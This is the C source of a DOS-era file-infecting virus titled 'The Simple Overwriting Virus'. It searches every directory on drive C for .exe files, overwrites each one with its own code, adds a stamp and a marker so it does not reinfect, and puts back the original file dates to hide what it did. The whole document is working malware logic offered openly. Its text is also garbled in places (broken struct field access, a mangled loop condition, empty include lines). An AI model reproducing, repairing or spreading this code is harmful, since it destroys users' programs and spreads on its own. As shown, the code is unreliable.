/* THE SIMPLE OVERWRITING VIRUS */ /* CREATED BY INFILTRATOR */ #include #include #include #include #include /********** VARIABLES FOR THE VIRUS **********/ struct ffblk ffblk, ffblk1, ffblk2; struct ftime ft; int done, done1, lfof, marker = 248, count = 0, vsize = 19520, drive; FILE *victim, *virus, *lf; char ch, vc, buffer[MAXPATH], vstamp[23] = "HAPPY, HAPPY! JOY, JOY!"; struct ftime getdt(); setdt(); /* Function prototypes */ dna(int argc, char *argv[]); /********** MAIN FUNCTION (LOOP) **********/ void main(int argc, char *argv[]) { /* Start of main loop */ dna(argc, argv); /* Call virus reproduction func */ getcwd(buffer, MAXPATH); /* Get current directory */ drive = getdisk(); /* Get current drive number */ setdisk(2); /* Goto 'C' drive */ chdir("\\"); /* Change to root directory */ done1 = findfirst("*", &ffblk1, FA_DIREC); /* Get 1 st directory */ while (!done1) { /* Start of loop */ chdir(ffblk1.ff_name); /* Change to directory */ if (lf = findfirst("*.exe", &ffblk2, 0) == -1) { /*No file to infect */ chdir("\\"); /* Back to root */ done1 = findnext(&ffblk1); /* Get next dir */ } else { /* Yes, infectable file found */ dna(argc, argv); /* Call reproduction func. */ chdir("\\"); /* Back to root */ done1 = findnext(&ffblk1); /* Next directory */ } } /* End loop */ setdisk(drive); /* Goto original drive */ chdir(buffer); /* Goto original dir */ } /* End of virus */ /********** END OF MAIN FUNCTION, START OF OTHER FUNCTIONS **********/ dna(int argc, char *argv[]) { /* Virus Tasks Func */ lfof = findfirst("*.exe", &ffblk, 0); /* Find first '.exe' file */ while (!done) { victim = fopen(ffblk, ff_name, "rb+"); /* Open file */ fseek(victim, -1, SEEK_END); /* Go to end, look for marker */ ch = getc(victim); /* Get char */ if (ch == '^') { /* Is it the marker? YES */ fclose(victim); /* Don't Reinfect */ done = findnext(&ffblk); /* Go to next '.exe' file */ } else { /* NO...Infect! */ getdt(); /* Get file date */ virus = fopen(argv[0], "rb"); /* Open host program */ victim = fopen(ffblk, ff_name, "wb"); /* Open file to infect */ while (count(vsize)) { /* Copy virus code */ /* to the victim file */ vc = getc(virus); /* This will ovenNrite */ putc(vc, victim); /* the file totally */ count++; /* End reproduction */ } fprintf(victim, "%s", vstamp); /* Put on virus stamp, optional */ fclose(virus); /* Close Virus */ fclose(victim); /* Close Victim */ victim = fopen(ffblk, ff_name, "ab"); /* Append to victim */ putc(marker, victim); /* virus marker char */ fclose(victim); /* Close file */ setdt(); /* Set file date to original */ count = 0; /* Reset file char counter */ done = findnext(&ffblk); /* Next file */ } } } struct ftime getdt() { /* Get original file date func */ victim = fopen(ffblk, ff_name, "rb"); /* Open file */ getftime(fileno(victim), &ft); /* Get date */ fclose(victim); /* Close file */ return ft; /* Return */ } setdt() { /* Set date to original func */ victim = fopen(ffblk, ff_name, "rb"); /* Open file */ setftime(fileno(victim), &ft); /* Set date */ fclose(victim); /* Close file */ return 0; /* Return */ }